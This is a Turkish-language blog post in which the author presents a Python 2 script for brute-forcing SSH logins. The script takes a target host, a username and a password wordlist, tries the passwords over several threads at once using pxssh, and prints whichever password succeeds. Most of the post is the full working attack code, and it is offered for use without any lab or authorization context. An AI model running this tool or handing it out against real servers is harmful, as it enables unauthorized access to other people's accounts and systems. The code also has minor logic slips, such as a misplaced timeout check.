Erdem YILDIZ

Siber Güvenlik Araştırmacısı
Python Geliştiricisi
Linux Hayranı

Python ile SSH Brute Force Saldırısı

Merhaba arkadaşlar bugün python ile yazmış olduğum script'de parametre olarak hedef ip adresi(hostname) , username ve son olarak hedef üzerinde denenecek olan şifrelerin bulunduğu bir dosya yolu verdikten sonra verilen hedef üzerinde çalışan SSH'a login olmayan çalışan script'in amacını , kodlarını ve video ile kullanımı göstereceğim.Haydi bir giriş yapalım...

Arkadaşlar bu scripteki amacım şuydu.Internetten yaygın saldırıları incelerken karşıma SSH Brute Force saldırısı çıktı.Çalışma mantığında ise hedef üzerinde pekçok şifre deneyerek SSH'a login olmaya çalışan ve saldırı başarılı ile gerçekteştiğinde size yanıt veren bir script.Bende bu script'in nasıl çalıştığını anlayarak python üzerinde basit olarak kodlamaya çalıştım.Kullanıcından hedef'in ip addresi(hostname) sonrasında username alarak şu şekile geliyor -> "ssh hostname@username".Daha sonra şifrelerin olduğu dosya yolunu verdiğinizde artık çalışmaya hazır hala geliyor.Eğer başarılı bir şekilde giriş sağlanırsa sizi çalışan şifreyi geri göstererek çalışmasını bitiriyor.

Kötü kod yazdığım için üzgünüm.Daha iyi bir yazılımcı olmak için yazılım geliştirme ve problem çözme yeteneğim üzerinde hala uğraşmaktayım.
                                        #SSH-Brute-Force.py
                                        # -*- coding: utf-8 -*-
                                        import argparse
                                        import threading
                                        from pexpect import pxssh
                                        import time

                                        max_connections = 5
                                        connection_lock = threading.BoundedSemaphore(value=max_connections)
                                        Found = False
                                        Fails = 0

                                        def connect(host, user, password, release):
                                            global Found
                                            global Fails

                                            try:
                                                s = pxssh.pxssh()
                                                s.login(host, user, password)
                                                print "-"*50
                                                print('Password Found --> ' + password)
                                                print "-" * 50
                                                Found = True
                                            except Exception as e:
                                                if 'read_nonblocking' in str(e):
                                                    Fails += 1
                                                    time.sleep(5)
                                                    connect(host, user, password, False)
                                                elif 'syncronize with original prompt' in str(e):
                                                    time.sleep(1)
                                                    connect(host, user, password, False)
                                            finally:
                                                if release: connection_lock.release()


                                        def main():
                                            parser = argparse.ArgumentParser()
                                            parser.add_argument("--h","--host",help="Please enter the hostname" , type=str)
                                            parser.add_argument("--u","--user",help="Please enter the username" , type=str)
                                            parser.add_argument("--w","--word-list",help="Please enter the wordlist" , type=str)

                                            args = parser.parse_args()

                                            host = args.h
                                            user = args.u
                                            passwdFile = args.w

                                            fn = open(passwdFile, 'r')
                                            for line in fn.readlines():
                                                if Found:
                                                    print('Exiting')
                                                    exit(0)
                                                    if Fails > 5:
                                                        print('Exiting: too many socket timeouts')
                                                        exit(0)

                                                connection_lock.acquire()
                                                password = line.strip('\r').strip('\n')
                                                print('Testing --> ' + str(password))
                                                t = threading.Thread(target=connect, args=(host, user, password, True))
                                                child = t.start()


                                        if __name__ == '__main__':
                                            main()
                                        

Yukarıda paylaşmış olduğum kodda bir sıkıntı yada yapılabilecek iyileştirmeler için bana ulaşabilirseniz çok sevinirim.Okuduğunuz için çok teşekkür ederim.Esen kalın :)